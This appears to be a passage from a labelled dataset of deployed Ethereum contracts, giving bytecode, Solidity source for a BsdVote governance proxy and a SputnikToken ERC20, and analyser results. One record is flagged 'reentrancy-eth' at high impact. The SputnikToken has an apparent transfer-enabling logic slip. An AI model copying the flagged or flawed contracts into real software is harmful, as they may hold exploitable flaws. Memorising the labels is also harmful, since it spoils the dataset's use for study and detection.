60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161066a565b60006114d46116d1565b90506114e08382611661565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061152f5761152f611e5c565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611588573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ac9190611ef4565b816001815181106115bf576115bf611e5c565b6001600160a01b0392831660209182029290920101526015546115e59130911684610cb2565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061161e908590600090869030904290600401611f11565b600060405180830381600087803b15801561163857600080fd5b505af115801561164c573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b60006114e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116f4565b806116b0576116b0611722565b6116bb848484611750565b80610a6157610a61600f54600d55601054600e55565b60008060006116de611847565b90925090506116ed8282611661565b9250505090565b600081836117155760405162461bcd60e51b815260040161066a9190611b15565b5060006113d58486611ea3565b600d541580156117325750600e54155b1561173957565b600d8054600f55600e805460105560009182905555565b60008060008060008061176287611885565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061179490876118e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117c39086611924565b6001600160a01b0389166000908152600260205260409020556117e581611983565b6117ef84836119cd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161183491815260200190565b60405180910390a3505050505050505050565b6006546000908190662386f26fc100006118618282611661565b82101561187c57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006118a28a600d54600e546119f1565b92509250925060006118b26116d1565b905060008060006118c58e878787611a46565b919e509c509a509598509396509194505050505091939550919395565b60006114e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a4565b6000806119318385611ec5565b9050838110156114e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161066a565b600061198d6116d1565b9050600061199b8383611a96565b306000908152600260205260409020549091506119b89082611924565b30600090815260026020526040902055505050565b6006546119da90836118e2565b6006556007546119ea9082611924565b6007555050565b6000808080611a0b6064611a058989611a96565b90611661565b90506000611a1e6064611a058a89611a96565b90506000611a3682611a308b866118e2565b906118e2565b9992985090965090945050505050565b6000808080611a558886611a96565b90506000611a638887611a96565b90506000611a718888611a96565b90506000611a8382611a3086866118e2565b939b939a50919850919650505050505050565b600082611aa5575060006105ba565b6000611ab18385611f82565b905082611abe8583611ea3565b146114e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161066a565b600060208083528351808285015260005b81811015611b4257858101830151858201604001528201611b26565b81811115611b54576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107ba57600080fd5b8035611b8a81611b6a565b919050565b60008060408385031215611ba257600080fd5b8235611bad81611b6a565b946020939093013593505050565b600080600060608486031215611bd057600080fd5b8335611bdb81611b6a565b92506020840135611beb81611b6a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611c2557600080fd5b823567ffffffffffffffff80821115611c3d57600080fd5b818501915085601f830112611c5157600080fd5b813581811115611c6357611c63611bfc565b8060051b604051601f19603f83011681018181108582111715611c8857611c88611bfc565b604052918252848201925083810185019188831115611ca657600080fd5b938501935b82851015611ccb57611cbc85611b7f565b84529385019392850192611cab565b98975050505050505050565b600060208284031215611ce957600080fd5b81356114e081611b6a565b80358015158114611b8a57600080fd5b600060208284031215611d1657600080fd5b6114e082611cf4565b600060208284031215611d3157600080fd5b5035919050565b600080600060408486031215611d4d57600080fd5b833567ffffffffffffffff80821115611d6557600080fd5b818601915086601f830112611d7957600080fd5b813581811115611d8857600080fd5b8760208260051b8501011115611d9d57600080fd5b602092830195509350611db39186019050611cf4565b90509250925092565b60008060008060808587031215611dd257600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611e0157600080fd5b8235611e0c81611b6a565b91506020830135611e1c81611b6a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e9c57611e9c611e72565b5060010190565b600082611ec057634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611ed857611ed8611e72565b500190565b600082821015611eef57611eef611e72565b500390565b600060208284031215611f0657600080fd5b81516114e081611b6a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f615784516001600160a01b031683529383019391830191600101611f3c565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611f9c57611f9c611e72565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220939b350db5b0c8f3ce5a87acac7e27d9142543590c426a73880a831af9b7f74364736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,027
0x2a6dc0f31649f6b86e1a69f9e535cba4984ac837
/** *Submitted for verification at Etherscan.io on 2021-01-20 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IVoteProxy { function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _voter) external view returns (uint256); } interface IFaasPool is IERC20 { function getBalance(address token) external view returns (uint256); function getUserInfo(uint8 _pid, address _account) external view returns ( uint256 amount, uint256 rewardDebt, uint256 accumulatedEarned, uint256 lockReward, uint256 lockRewardReleased ); } contract BsdVote is IVoteProxy { using SafeMath for uint256; IFaasPool[10] public faasPools; IERC20[10] public stakePools; IERC20 bsdsToken; address public bsds; uint256 public totalFaasPools; uint256 public totalStakePools; address public governance; constructor( address _bsds, address[] memory _faasPoolAddresses, address[] memory _stakePoolAddresses ) public { _setFaasPools(_faasPoolAddresses); _setStakePools(_stakePoolAddresses); bsds = _bsds; bsdsToken = IERC20(bsds); governance = msg.sender; } function _setFaasPools(address[] memory _faasPoolAddresses) internal { totalFaasPools = _faasPoolAddresses.length; for (uint256 i = 0; i < totalFaasPools; i++) { faasPools[i] = IFaasPool(_faasPoolAddresses[i]); } } function _setStakePools(address[] memory _stakePoolAddresses) internal { totalStakePools = _stakePoolAddresses.length; for (uint256 i = 0; i < totalStakePools; i++) { stakePools[i] = IERC20(_stakePoolAddresses[i]); } } function decimals() public pure virtual override returns (uint8) { return uint8(18); } function totalSupply() public view override returns (uint256) { uint256 totalSupplyPool = 0; uint256 i; for (i = 0; i < totalFaasPools; i++) { totalSupplyPool = totalSupplyPool.add(bsdsToken.balanceOf(address(faasPools[i]))); } uint256 totalSupplyStake = 0; for (i = 0; i < totalStakePools; i++) { totalSupplyStake = totalSupplyStake.add(bsdsToken.balanceOf(address(stakePools[i]))); } return totalSupplyPool.add(totalSupplyStake); } function totalInFaaSPool() public view returns (uint256) { uint256 total = 0; uint256 i; for (i = 0; i < totalFaasPools; i++) { total = total.add(bsdsToken.balanceOf(address(faasPools[i]))); } return total; } function totalInStakePool() public view returns (uint256) { uint256 total = 0; uint256 i; for (i = 0; i < totalStakePools; i++) { total = total.add(bsdsToken.balanceOf(address(stakePools[i]))); } return total; } function getBsdsAmountInPool(address _voter) internal view returns (uint256) { uint256 stakeAmount = 0; for (uint256 i = 0; i < totalFaasPools; i++) { (uint256 _stakeAmountInPool, , , , ) = faasPools[i].getUserInfo(uint8(0), _voter); stakeAmount = stakeAmount.add(_stakeAmountInPool.mul(faasPools[i].getBalance(bsds)).div(faasPools[i].totalSupply())); } return stakeAmount; } function getBsdsAmountInStakeContracts(address _voter) internal view returns (uint256) { uint256 stakeAmount = 0; for (uint256 i = 0; i < totalStakePools; i++) { stakeAmount = stakeAmount.add(stakePools[i].balanceOf(_voter)); } return stakeAmount; } function balanceOf(address _voter) public view override returns (uint256) { uint256 balanceInPool = getBsdsAmountInPool(_voter); uint256 balanceInStakeContract = getBsdsAmountInStakeContracts(_voter); return balanceInPool.add(balanceInStakeContract); } function setFaasPools(address[] memory _faasPoolAddresses) external { require(msg.sender == governance, "!governance"); _setFaasPools(_faasPoolAddresses); } function setStakePools(address[] memory _stakePoolAddresses) external { require(msg.sender == governance, "!governance"); _setStakePools(_stakePoolAddresses); } }
0x608060405234801561001057600080fd5b50600436106100df5760003560e01c806370a082311161008c578063c6dd6edf11610066578063c6dd6edf1461025a578063f784a603146102fd578063f87e95ca14610305578063fc03327814610322576100df565b806370a08231146102175780639f93993c1461024a578063a8dd8e6414610252576100df565b806331f57ff2116100bd57806331f57ff2146101245780635aa6e6751461016a5780635baace1414610172576100df565b8063048898b7146100e457806318160ddd146100fe578063313ce56714610106575b600080fd5b6100ec61032a565b60408051918252519081900360200190f35b6100ec610416565b61010e610559565b6040805160ff9092168252519081900360200190f35b6101416004803603602081101561013a57600080fd5b503561055e565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b610141610588565b6102156004803603602081101561018857600080fd5b8101906020810181356401000000008111156101a357600080fd5b8201836020820111156101b557600080fd5b803590602001918460208302840111640100000000831117156101d757600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506105a4945050505050565b005b6100ec6004803603602081101561022d57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610636565b6100ec610663565b6101416106ab565b6102156004803603602081101561027057600080fd5b81019060208101813564010000000081111561028b57600080fd5b82018360208201111561029d57600080fd5b803590602001918460208302840111640100000000831117156102bf57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506106c7945050505050565b6100ec610756565b6101416004803603602081101561031b57600080fd5b503561075c565b6100ec610769565b600080805b601754811015610410576014546104069073ffffffffffffffffffffffffffffffffffffffff166370a08231600a8481811061036757fe5b0154604080517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152516024808301926020929190829003018186803b1580156103d357600080fd5b505afa1580156103e7573d6000803e3d6000fd5b505050506040513d60208110156103fd57600080fd5b5051839061076f565b915060010161032f565b50905090565b600080805b60165481101561045e576014546104549073ffffffffffffffffffffffffffffffffffffffff166370a08231600084600a811061036757fe5b915060010161041b565b506000805b6017548210156105475760145461053a9073ffffffffffffffffffffffffffffffffffffffff166370a08231600a8581811061049b57fe5b0154604080517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff9092166004830152516024808301926020929190829003018186803b15801561050757600080fd5b505afa15801561051b573d6000803e3d6000fd5b505050506040513d602081101561053157600080fd5b5051829061076f565b6001909201919050610463565b610551838261076f565b935050505090565b601290565b600a81600a811061056b57fe5b015473ffffffffffffffffffffffffffffffffffffffff16905081565b60185473ffffffffffffffffffffffffffffffffffffffff1681565b60185473ffffffffffffffffffffffffffffffffffffffff16331461062a57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b610633816107ec565b50565b6000806106428361086f565b9050600061064f84610ab0565b905061065b828261076f565b949350505050565b600080805b601654811015610410576014546106a19073ffffffffffffffffffffffffffffffffffffffff166370a08231600084600a811061036757fe5b9150600101610668565b60155473ffffffffffffffffffffffffffffffffffffffff1681565b60185473ffffffffffffffffffffffffffffffffffffffff16331461074d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f21676f7665726e616e6365000000000000000000000000000000000000000000604482015290519081900360640190fd5b61063381610b4b565b60165481565b600081600a811061056b57fe5b60175481565b6000828201838110156107e357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b90505b92915050565b805160165560005b60165481101561086b5781818151811061080a57fe5b6020026020010151600082600a811061081f57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff929092169190911790556001016107f4565b5050565b600080805b601654811015610aa95760008082600a811061088c57fe5b0154604080517f29d795880000000000000000000000000000000000000000000000000000000081526000600482015273ffffffffffffffffffffffffffffffffffffffff8881166024830152915191909216916329d795889160448083019260a0929190829003018186803b15801561090557600080fd5b505afa158015610919573d6000803e3d6000fd5b505050506040513d60a081101561092f57600080fd5b50519050610a9e610a97600084600a811061094657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ad57600080fd5b505afa1580156109c1573d6000803e3d6000fd5b505050506040513d60208110156109d757600080fd5b5051610a91600086600a81106109e957fe5b0154601554604080517ff8b2cb4f00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff92831660048201529051919092169163f8b2cb4f916024808301926020929190829003018186803b158015610a5e57600080fd5b505afa158015610a72573d6000803e3d6000fd5b505050506040513d6020811015610a8857600080fd5b50518590610bca565b90610c3d565b849061076f565b925050600101610874565b5092915050565b600080805b601754811015610aa957610b41600a82600a8110610acf57fe5b0154604080517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8881166004830152915191909216916370a08231916024808301926020929190829003018186803b1580156103d357600080fd5b9150600101610ab5565b805160175560005b60175481101561086b57818181518110610b6957fe5b6020026020010151600a82600a8110610b7e57fe5b0180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055600101610b53565b600082610bd9575060006107e6565b82820282848281610be657fe5b04146107e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610d376021913960400191505060405180910390fd5b60006107e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610d20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ce5578181015183820152602001610ccd565b50505050905090810190601f168015610d125780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610d2c57fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e25d8ed17cc8325ed23148f2ec31201c2d621761aff450bae582aa78a38fc52664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,028
0x895b51458d39d4ebf666af4f27a4202677ca43a6
pragma solidity ^0.4.23; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } // File: contracts/SputnikToken.sol /* * SputnikToken is a standard ERC20 token with some additional functionalities: * - Transfers are only enabled after contract owner enables it (after the ICO) * - Contract sets 40% of the total supply as allowance for ICO contract * * Note: Token Offering == Initial Coin Offering(ICO) */ contract SputnikToken is StandardToken, BurnableToken, Ownable { string public constant symbol = "SPUTNIK"; string public constant name = "SPUTNIK CHAIN"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 96000000000 * (10 ** uint256(decimals)); uint256 public constant TOKEN_OFFERING_ALLOWANCE = 38400000000 * (10 ** uint256(decimals)); uint256 public constant ADMIN_ALLOWANCE = INITIAL_SUPPLY - TOKEN_OFFERING_ALLOWANCE; // Address of token admin address public adminAddr; // Address of token offering address public tokenOfferingAddr; // Enable transfers after conclusion of token offering bool public transferEnabled = true; /** * Check if transfer is allowed * * Permissions: * Owner Admin OfferingContract Others * transfer (before transferEnabled is true) x x x x * transferFrom (before transferEnabled is true) x o o x * transfer/transferFrom(after transferEnabled is true) o x x o */ modifier onlyWhenTransferAllowed() { require(transferEnabled || msg.sender == adminAddr || msg.sender == tokenOfferingAddr); _; } /** * Check if token offering address is set or not */ modifier onlyTokenOfferingAddrNotSet() { require(tokenOfferingAddr == address(0x0)); _; } /** * Check if address is a valid destination to transfer tokens to * - must not be zero address * - must not be the token address * - must not be the owner's address * - must not be the admin's address * - must not be the token offering contract address */ modifier validDestination(address to) { require(to != address(0x0)); require(to != address(this)); require(to != owner); require(to != address(adminAddr)); require(to != address(tokenOfferingAddr)); _; } /** * Token contract constructor * * @param admin Address of admin account */ function SputnikToken(address admin) public { totalSupply_ = INITIAL_SUPPLY; // Mint tokens balances[msg.sender] = totalSupply_; Transfer(address(0x0), msg.sender, totalSupply_); // Approve allowance for admin account adminAddr = admin; approve(adminAddr, ADMIN_ALLOWANCE); } /** * Set token offering to approve allowance for offering contract to distribute tokens * * @param offeringAddr Address of token offering contract * @param amountForSale Amount of tokens for sale, set 0 to max out */ function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet { require(!transferEnabled); uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale; require(amount <= TOKEN_OFFERING_ALLOWANCE); approve(offeringAddr, amount); tokenOfferingAddr = offeringAddr; } /** * Enable transfers */ function enableTransfer() external onlyOwner { transferEnabled = true; // End the offering approve(tokenOfferingAddr, 0); } /** * Transfer from sender to another account * * @param to Destination address * @param value Amount of sputniktokens to send */ function transfer(address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transfer(to, value); } /** * Transfer from `from` account to `to` account using allowance in `from` account to the sender * * @param from Origin address * @param to Destination address * @param value Amount of sputniktokens to send */ function transferFrom(address from, address to, uint256 value) public onlyWhenTransferAllowed validDestination(to) returns (bool) { return super.transferFrom(from, to, value); } /** * Burn token, only owner is allowed to do this * * @param value Amount of tokens to burn */ function burn(uint256 value) public { require(transferEnabled || msg.sender == owner); super.burn(value); } }
